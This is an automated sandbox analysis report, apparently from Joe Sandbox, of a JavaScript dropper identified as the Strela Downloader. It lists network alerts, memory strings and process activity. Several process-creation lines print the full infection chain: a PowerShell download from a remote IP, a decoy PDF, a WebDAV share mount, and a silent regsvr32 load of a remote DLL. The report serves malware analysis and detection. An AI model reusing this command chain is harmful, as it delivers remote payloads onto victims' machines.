ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49712 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000005.00000003.1277389027.000001DF4DC15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1347433997.0000027D053C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347433997.0000027D053FB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347433997.0000027D0541C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1347433997.0000027D053FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/YD
Source: net.exe, 0000000C.00000002.1347433997.0000027D053C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace8
Source: svchost.exe, 0000000E.00000002.2565332518.00000163E6600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000E.00000003.1333256310.00000163E6480000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7916, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 27458284801797225280.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikdzyssf.pwn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 27458284801797225280.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1748,i,15192425314672313782,17790185833074286355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1748,i,15192425314672313782,17790185833074286355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
